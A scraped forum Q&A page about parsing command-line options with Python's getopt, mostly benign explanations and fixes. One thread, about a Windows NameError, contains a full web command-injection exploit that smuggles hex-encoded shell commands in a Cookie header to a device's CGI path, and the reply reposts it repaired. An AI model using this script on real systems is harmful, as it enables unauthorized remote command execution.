New to python. Need help to understand code - python

Hello I am new to python just started . Would be glad if someone can help me to understand this piece of code.
#!/usr/bin/python
import sys, getopt
def main(argv):
inputfile = ''
outputfile = ''
try:
opts, args = getopt.getopt(argv,"hi:o:",["ifile=","ofile="])
except getopt.GetoptError:
print 'test.py -i <inputfile> -o <outputfile>'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print 'test.py -i <inputfile> -o <outputfile>'
sys.exit()
elif opt in ("-i", "--ifile"):
inputfile = arg
elif opt in ("-o", "--ofile"):
outputfile = arg
print 'Input file is "', inputfile
print 'Output file is "', outputfile
if __name__ == "__main__":
main(sys.argv[1:])

To the best of my ability, please find my comments (# comments) below:
#!/usr/bin/python
# importing libraries
import sys, getopt
def main(argv):
# defining empty string variables
inputfile = ''
outputfile = ''
# try/except block. Try this code, if it fails, handle it
try:
# looks like you are parsing command line arguments
opts, args = getopt.getopt(argv,"hi:o:",["ifile=","ofile="])
except getopt.GetoptError:
print 'test.py -i <inputfile> -o <outputfile>'
sys.exit(2)
#iterate through the cmd line arguments
for opt, arg in opts:
# of option is -h, do this (same with the following)
if opt == '-h':
print 'test.py -i <inputfile> -o <outputfile>'
sys.exit()
elif opt in ("-i", "--ifile"):
inputfile = arg
elif opt in ("-o", "--ofile"):
outputfile = arg
print 'Input file is "', inputfile
print 'Output file is "', outputfile
# python main function
if __name__ == "__main__":
# call method main and pass the cmd line arguments
main(sys.argv[1:])

Related

Pass multiple argument from command line

i trying with
import sys, getopt
def main(argv):
inputfile = ''
outputfile = ''
dpd = ''
opts, args = getopt.getopt(argv,"hi:o:",["ifile=","ofile=","dpd="])
print(opts)
for opt, arg in opts:
print(opt)
if opt == '-h':
print ('test.py -i <inputfile> -o <outputfile>')
sys.exit()
elif opt in ("-i", "--ifile"):
inputfile = arg
elif opt in ("-o", "--ofile"):
outputfile = arg
elif opt in ("-d","--dpd"):
dpd = arg
print ('Input file is ', inputfile)
print ('Output file is ', outputfile)
print ('DPD', dpd)
if __name__ == "__main__":
main(sys.argv[1:])
and run with python3 demo.py -i 65 -o ale -d 45 but it's give error
getopt.GetoptError: option -d not recognized
and i want to pass 6 pass argument how can i do this??
You should be using argparse, which is simpler and much more powerful than getopt.
But the problem is that you forgot to declare -d as an option:
opts, args = getopt.getopt(argv,"hi:o:d:",["ifile=","ofile=","dpd="])
There is a built-in library for this in Python. I strongly recommend that you use it - you get a lot of stuff out of the box and the errors will be more informative.
>>> parser = argparse.ArgumentParser()
>>> parser.add_argument('-d', '--dpd')
>>> args = parser.parse_args(['-d', 'bla'])
>>> args.dpd
'bla'
If you just add the rest of your arguments your program becomes much simpler:
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--ifile')
parser.add_argument('-o', '--ofile')
parser.add_argument('-d', '--dpd')
print(f'dpd: {args.dpd}')
print(f'input: {args.ifile}')
print(f'output: {args.ofile}')
You get the help arg with autoexit out of the box too.
You can also specify which parameters are required and which are optional, set default values and a lot more.

Python , getopt , how to get a list

I'm trying to use the library getopt in order to catch a list of path given from command line something like this :
python script.py -l ["a","b","c","d","e"] -p 80 ....
what I wrote is this:
def getValue(self):
'''
get value from command line and initialize
variable !
'''
try:
opts,args = getopt.getopt( self.args ,
"hl:us:r:p:" ,
['help','local_path','update',"remote_host","remote_path","parameter"])
except getopt.GetoptError as err:
print(str(err))
self.usage()
## ----------------- SETTING VARIABLE PASSED BY COMMAND LINE ------------------ ##
for opt,arg in opts:
#----------------------------------------------------------
if opt in ("-l","--local_path"):
self.local_path = arg
if DEBUG:
print('local path: ',self.local_path)
#-----------------------------------------------------------
elif opt in ("-h", "--help"):
self.usage()
#-----------------------------------------------------------
elif opt in ("-s", "--remote_host"):
self.remote_host = arg
if DEBUG:
print('Simulation host: ', self.remote_host)
#-----------------------------------------------------------
elif opt in ("-r", "--remote_path"):
self.remote_path = arg
if DEBUG:
print('Simulation path: ', self.remote_path)
#-----------------------------------------------------------
elif opt in ("-p", "--parameter"):
self.parameter = arg
if DEBUG:
print('Simulation parameter: ',self.parameter)
#-----------------------------------------------------------
elif opt in ("-u","--update"):
#if self.remote_host and self.remote_path:
self.update()
#-----------------------------------------------------------
else:
assert False, "Unhandled Option"
#-----------------------------------------------------------
but unfortunately this take just single value for each opts (-l, -p ....)
how can reach my aim ?
thanks in advance !!
I've simplified your script a bit to specifically address your question about passing a list of arguments from the command line.
One option you have is to specify the same flag multiple times to send several arguments into your program. For example:
import getopt
import sys
opts, args = getopt.getopt(
sys.argv[1:],
'hl:p:',
['help', 'local_path', 'parameter'],
)
local_paths = []
for opt, arg in opts:
if opt in ('-l', '--local_path'):
local_paths.append(arg)
print(opt + ': ' + arg)
if opt in ('-p', '--parameter'):
print(opt + ': ' + arg)
print('local_paths: ' + str(local_paths))
Used as follows:
$ python script.py -la -lb -p 80
-l: a
-l: b
-p: 80
local_paths: ['a', 'b']
Another option (if you must pass the list itself via the command line to a single instance of the flag) is to use some sort of serialization. JSON is up to the task but you could also use csv or others. Example:
import getopt
import json
import sys
opts, args = getopt.getopt(
sys.argv[1:],
'hl:p:',
['help', 'local_path', 'parameter'],
)
for opt, arg in opts:
if opt in ('-l', '--local_path'):
list_arg = json.loads(arg)
print(opt + ': ' + str(list_arg))
if opt in ('-p', '--parameter'):
print(opt + ': ' + arg)
$ python script.py -l '["a","b"]' -p 80
-l: ['a', 'b']
-p: 80
Note the quotes (') around the JSON after the -l flag ('["a","b"]'). This notation "protects" the argument from being evaluated by bash.
If you pass the argument as you have done in your example, python still receives a single argument but it does not quite work as I think you intend:
import getopt
import sys
opts, args = getopt.getopt(
sys.argv[1:],
'hl:',
['help', 'local_path'],
)
for opt, arg in opts:
if opt in ('-l', '--local_path'):
print(opt + ': ' + arg)
print('type: ' + str(type(opt)))
$ python script.py -l ["a","b"]
-l: [a,b]
type: <class 'str'>
The argument for the -l flag is literally the string "[a,b]" in python. This happens because bash evaluated the expression ["a","b"] before running the script, so now deserialization in python is a bit trickier. It is probably worth avoiding this way and sticking with a standard serialization pattern.
To clarify the notation above from the docs:
shortopts is the string of option letters that the script wants to recognize, with options that require an argument followed by a colon (':')
So hl: means we accept -h and -l, but -l must have an argument, otherwise we will get something like:
getopt.GetoptError: option -l requires argument

How do i use getopt.getopt method in python?

I would like to add warning and critical alert condition if inputfile == "android": pass then check the number stored in variable e and f and check whether it is under normal or warning or critical level as whatever the arguments we passed.
Secondly this script gives no output when run in python3.6
#!/usr/bin/python
import requests, os, json, sys, getopt
f = 10
e = 20
def main(argv):
inputfile = ''
try:
opts, args = getopt.getopt(argv,"hi:o:w:c:",["ent","lable","help","warning","critical"])
except getopt.GetoptError:
print ("Usage: test.py -i <inputfile>")
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print ("test.py -i <inputfile>")
sys.exit()
# elif opt in ("-i", "--app"):
elif opt == '-i':
inputfile = arg
if inputfile == "android":
'''call a function here (hiding sensitive information) Using e and f variable instead'''
print ("Input is"), inputfile
print("Active:"), f
else:
print("Parameter not found")
sys.exit(2)
# elif opt in ("-o", "--lable"):
elif opt == '-o':
inputfile = arg
print("Active:"), e
if __name__ == "__main__":
main(sys.argv[1:])
Right Now:
#python script -i android
Output
Active: 10
Expected:
#python script -i android -w 5 -c 20
Output
WARNING - Active: 10
sys.argv is a list of str. If you want to perform comparisons with the ints you store in e and f, you need to convert the command line parameters during parsing:
if opt == '-i':
input_file = arg
elif opt == '-w':
w_value = int(arg)
elif opt == '-c':
c_value = int(arg)
This will allow to validate them later:
if input_file == 'android':
if w_value < e:
sys.exit('WARNING - w value is too small')
elif c_value > f:
sys.exit('WARNING - c value is too big')
original answer
You might want to have a look at Python's logging module.
To get you started:
import logging
e = 10
f = 20
logging.basicConfig(level=logging.DEBUG)
logging.log(e, 'This is debug output')
logging.log(f, 'This is an info')
This produces:
DEBUG:root:This is debug output
INFO:root:This is an info
To continue from there, you may want to influence the format of the output by passing the format keyword to basicConfig():
e = 30 # logging.WARNING
f = 40 # logging.ERROR
input_file = 'android'
logging.basicConfig(level=logging.DEBUG, format='%(levelname)s - %(message)s')
logging.log(e, 'Input file is "%s"', input_file)
logging.log(f, '"-o" flag detected')
This will produce:
WARNING - Input file is "android"
ERROR - "-o" flag detected
Hope that answers your question,
dtk
PS On a side note: personally I much prefer using argparse over getopt. Fwiw ;)

windows Python Name error

I am getting name error for this code.
error message: Traceback (most recent call last):
File "D:\injection.py", line 16, in
opts, args = getopt.getopt(argv, "h", ["help", "target="])
NameError: name 'argv' is not defined
#!/usr/bin/python
import sys
import getopt
import urllib
# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])
def main(argv):
# set defaults
target = None
# parse command line options
try:
opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("--target"):
target = arg
if target is None:
target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")
opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()
print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)
def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print (" --target=<hostname or IP> Sets the target host.")
print ("Miscellaneous:")
print (" -h Print usage options.")
print ("\n")
if __name__ == "__main__":
main(sys.argv[1:])
Can anyone help me fix the problem.this code works flawless in linux but not in windows
There are couple of indentation errors. Try this,
# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])
def main(argv):
# set defaults
target = None
# parse command line options
try:
opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("--target"):
target = arg
if target is None:
target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")
opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()
print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)
def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print (" --target=<hostname or IP> Sets the target host.")
print ("Miscellaneous:")
print (" -h Print usage options.")
print ("\n")
if __name__ == "__main__":
main(sys.argv[1:])

Arguments for batch size not being captured. Any idea?

I do have following script to capture the command line arguments. Third option for batch size is not being set any idea ?
FYI : Only input & ouput file options are required parameter. Batch is optional.
import sys, getopt
import os
try:
opts, args = getopt.getopt(argv,"hi:o:b",["ifile=","ofile=","bsize="])
except getopt.GetoptError:
print 'file.py -i <inputfile> -o <outputfile> -b<batchsize>[default=20000000]'
sys.exit(2)
for opt, arg in opts:
print opt
if opt == '-h':
print 'file.py -i <inputfile> -o <outputfile> -b<batchsize>[default=20000000]'
sys.exit()
elif opt in ("-i", "--ifile"):
inputFile = arg
elif opt in ("-o", "--ofile"):
outputFile = arg
elif opt in ("-b", "--bsize"):
print "Another option %s" % opt
batchsize = arg
You have several problems with this script including indent errors and failing to initialize settings first... But let's assume you just copy/pasted it incorrectly.
The answer is that you are missing a ":" after the "b" in your getopt arguments.
This line:
opts, args = getopt.getopt(argv,"hi:o:b",["ifile=","ofile=","bsize="])
Should actually be:
opts, args = getopt.getopt(argv,"hi:o:b:",["ifile=","ofile=","bsize="])
If you don't mind, I would recommend argparse. It is better usably and not as clunky as getopts.
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ifile", required=True)
parser.add_argument("-o", "--ofile", required=True)
parser.add_argument("-b", "--bsize", type=int, default=20000000)
parser.parse_args()
input_file = parser.input
etc.

Categories